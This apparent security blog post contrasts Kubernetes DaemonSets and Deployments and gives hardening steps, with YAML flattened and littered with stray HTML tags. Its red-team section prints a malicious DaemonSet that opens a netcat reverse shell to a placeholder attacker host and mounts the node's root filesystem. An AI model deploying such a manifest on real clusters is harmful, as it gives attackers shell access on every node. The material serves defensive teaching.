Listen to this Post
Introduction:
In the orchestrated world of Kubernetes, the choice between a DaemonSet and a Deployment is not merely operational—it’s a foundational security decision. While Deployments manage stateless application scaling, DaemonSets embed services like logging and monitoring into every node, creating pervasive access points. Misunderstanding or misconfiguring these controllers can lead to catastrophic cluster-wide breaches, turning a simple scheduling decision into a critical threat vector.
Learning Objectives:
- Understand the architectural and security implications of Deployments versus DaemonSets.
- Learn to implement and harden both resources with security-first configurations.
- Master node isolation techniques using taints, tolerations, and affinity rules to limit blast radius.
You Should Know:
1. Core Concepts & The Security Paradigm
A Deployment is a replica-set manager for stateless workloads, ideal for web servers or APIs. Its ephemeral nature limits persistent access but introduces risk through scale-based attack surfaces. A DaemonSet, however, ensures one Pod per node, making it perfect for security agents but also a prime target—if compromised, it grants access to every node. The fundamental shift is from application-centric (Deployment) to infrastructure-centric (DaemonSet) security.
Step‑by‑step guide:
- Deployment Security Focus: Use Pod Security Contexts to drop privileges.
apiVersion: apps/v1 kind: Deployment spec: template: spec: securityContext: runAsNonRoot: true seccompProfile: type: RuntimeDefault containers:</li> <li>securityContext: allowPrivilegeEscalation: false capabilities: drop: ["ALL"]
- DaemonSet Baseline: Deploy a security agent DaemonSet.
apiVersion: apps/v1 kind: DaemonSet metadata: name: falco-daemonset spec: selector: matchLabels: app: falco template: spec: hostPID: true Required for system call monitoring containers:</li> <li>name: falco image: falcosecurity/falco securityContext: privileged: true Caution: Necessary for host-level visibility
Apply with
kubectl apply -f <file>.yaml. The DaemonSet requires elevated privileges, necessitating strict namespace isolation and image signing.
2. Network Policy Isolation
Deployments often require ingress/egress rules for user traffic, while DaemonSets need to communicate with control-plane elements or external log sinks. Without Network Policies, Pods can traverse the cluster freely.
Step‑by‑step guide:
- Deny all traffic by default in a namespace:
kubectl create namespace isolated. - Apply a default-deny NetworkPolicy:
apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: default-deny namespace: isolated spec: podSelector: {} policyTypes:</li> <li>Ingress</li> <li>Egress - Allow Deployment Pods to receive traffic only on port 8080:
apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: api-allow spec: podSelector: matchLabels: app: api-server ingress:</li> <li>ports:</li> <li>protocol: TCP port: 8080
- Allow DaemonSet Pods (e.g., Fluentd) to talk to the external log aggregator:
egress:</li> <li>to:</li> <li>ipBlock: cidr: 10.0.0.0/24 ports:</li> <li>protocol: TCP port: 514
3. Exploiting Misconfigurations: A Red Team Perspective
Attackers scan for overly permissive DaemonSets or over-scaling Deployments. A vulnerable `hostPath` mount in a DaemonSet can lead to node root access.
Step‑by‑step guide:
- Malicious DaemonSet Attack Simulation: An attacker with `create daemonsets` permissions deploys a backdoor.
MALICIOUS DaemonSet Example apiVersion: apps/v1 kind: DaemonSet spec: template: spec: containers:</li> <li>name: reverse-shell image: alpine/netcat command: ["nc"] args: ["-e", "/bin/sh", "attacker-ip", "4444"] volumeMounts:</li> <li>mountPath: /host name: host-root volumes:</li> <li>name: host-root hostPath: path: / type: Directory
- Mitigation: Use admission controllers like OPA Gatekeeper to forbid `hostPath` mounts or require specific tolerations. A sample Gatekeeper constraint template can reject DaemonSets with
hostPath.
4. Hardening with Node Affinity, Taints & Tolerations
This is critical for segmenting workloads and protecting sensitive nodes (e.g., master nodes). DaemonSets often require tolerations to run on tainted nodes.
Step‑by‑step guide:
- Taint a node (e.g., for only security DaemonSets): `kubectl taint nodes node1 security=only:NoSchedule`
– A secured DaemonSet must explicitly tolerate this:tolerations:</li> <li>key: "security" operator: "Equal" value: "only" effect: "NoSchedule"
- Restrict a Deployment to user-node pools only using node affinity:
affinity: nodeAffinity: requiredDuringSchedulingIgnoredDuringExecution: nodeSelectorTerms:</li> <li>matchExpressions:</li> <li>key: node-type operator: In values:</li> <li>user
5. Resource Monitoring & Anomaly Detection
A DaemonSet’s resource consumption multiplies per node. A cryptocurrency miner deployed via a breached DaemonSet will show uniform CPU spikes across all nodes.
Step‑by‑step guide:
- Set resource limits for every DaemonSet container to prevent resource exhaustion attacks:
resources: limits: cpu: "200m" memory: "256Mi" requests: cpu: "100m" memory: "128Mi"
- Deploy a Prometheus DaemonSet for node monitoring and configure alerts for DaemonSet Pod restarts or consistent high CPU. Use this query to detect anomalous DaemonSet CPU:
(rate(container_cpu_usage_seconds_total{pod=~".-daemonset-."}[bash])) > 0.9
6. Immutable Infrastructure & Image Security
Both Deployments and DaemonSets must pull from trusted registries. A compromised image in a DaemonSet becomes a cluster-wide issue.
Step‑by‑step guide:
- Enforce image policies using `ImagePolicyWebhook` admission controller.
- Use `imagePullSecrets` and scan images with Trivy on CI/CD: `trivy image –exit-code 1 –severity HIGH,CRITICAL myregistry/daemonset-image:latest`
– Make DaemonSet Pods immutable by setting filesystems as read-only:securityContext: readOnlyRootFilesystem: true
- Use `emptyDir` volumes mounted as `tmpfs` for required writable areas.
7. Disaster Recovery & Forensics
When a DaemonSet is compromised, you must evict it from all nodes without losing critical node-level functions.
Step‑by‑step guide:
- Cordon and Drain a node to investigate:
kubectl cordon node1 && kubectl drain node1 --ignore-daemonsets. The `–ignore-daemonsets` flag is crucial as it acknowledges the Pods will remain. - To replace a malicious DaemonSet, first delete it and apply a clean version:
kubectl delete daemonset bad-daemonset. - For Deployments, perform a rollback to a known good version:
kubectl rollout undo deployment/my-app --to-revision=3. - Always preserve forensic data from a compromised DaemonSet Pod:
kubectl logs daemonset/malicious-ds --namespace=kube-system > daemonset_forensics.log.
What Undercode Say:
- Key Takeaway 1: The security boundary shifts from the Pod to the Node with DaemonSets. A single vulnerability in a DaemonSet’s container or configuration grants an attacker a persistent foothold on every cluster node, making it the ultimate pivot point. Treat DaemonSets with the same severity as host-level root access.
- Key Takeaway 2: Deployments present a horizontal attack surface. While seemingly less privileged, an attacker who gains control can scale up malicious replicas to exhaust cluster resources, mine cryptocurrency, or launch internal DDoS attacks, all while hiding behind legitimate-looking auto-scaling policies.
Analysis: The distinction is not academic; it’s the blueprint for your cluster’s threat model. Modern attack chains, like the recent TeamTNT campaign, specifically target DaemonSets to deploy cryptominers. Defenders must use a zero-trust approach: DaemonSets require strict pod security policies, image signing, and network egress limits. Deployments need precise resource limits and scale boundaries. Ignoring the security nuances between these two controllers is equivalent to leaving SSH password authentication enabled on all your servers.
Prediction:
As Kubernetes becomes the default runtime for AI workloads and critical data processing, we will see a rise in targeted attacks that exploit the inherent trust in DaemonSets. Attackers will move beyond simple cryptojacking to use DaemonSets as stealthy, persistent data exfiltration channels, especially in multi-tenant clusters. The future of Kubernetes security will hinge on intelligent admission controllers that can behavioral-profile these workloads, automatically detecting when a “logging agent” DaemonSet suddenly initiates outbound connections to unknown IPs, and taking autonomous remediation action.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Nileshindore Kubernetes – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
